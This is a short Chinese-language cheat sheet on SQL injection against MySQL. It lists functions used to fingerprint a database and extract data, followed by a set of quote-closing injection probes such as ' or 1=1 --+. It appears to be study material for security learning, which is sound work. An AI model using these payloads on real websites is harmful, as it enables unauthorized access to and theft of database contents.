SQL注入的常用函数和语句

1.系统函数

version()   Mysql版本
user()   数据库用户名
database()    数据库名
@@datadir   数据库路径
@@version_compile_os   操作系统版本
2,字符串连接函数
concat()不使用字符串连接函数时
concat_ws()是CONCAT()的特殊形式。第一个参数是其它参数的分隔符
group_concat()函数返回一个字符串结果，该结果由分组中的值连接组合而成
详细见http://www.cnblogs.com/yyccww/p/6054461.html
left(a,b)  从左侧截取a的前b位
right(a,b) 从右侧截取a的前b位
substr(a,b,c),从b位置开始,截取字符串a的c长度
mid(a,b,c) 从位置b开始,截取a字符串的c位

ascii()将某个字符串转换为asscii
ord()函数同ascii(),将字符转化为ascii值
if(a,1,0) 如果a正确则返回1,否则返回0

3.一般用于尝试的语句注释:--+可以替换成#,#的URL编码是%23

or 1=1 --+

'or 1=1 --+

" or 1=1 --+

) or 1=1 --+

') or 1=1 --+

") or 1=1 --+

")) or 1=1 --+

一般思路是:闭合引号和注释掉后面的